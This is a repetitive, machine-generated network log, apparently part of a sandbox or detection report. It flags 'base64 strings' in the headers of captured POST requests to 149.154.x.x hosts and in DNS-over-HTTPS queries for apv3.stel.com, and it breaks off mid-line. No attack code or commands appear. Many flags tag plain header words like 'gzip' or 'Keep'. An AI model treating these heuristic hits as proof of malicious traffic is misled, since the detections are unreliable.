in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 156Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 276Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/dns" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "apv3" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "stel" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "padding=" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "like" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "36Connection" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Keep" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Encoding" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "gzip" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Language" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 488Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 340Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 544Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 592Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/dns" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "apv3" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "stel" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "padding=" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "like" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "36Connection" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Keep" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Encoding" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "gzip" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "Language" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api 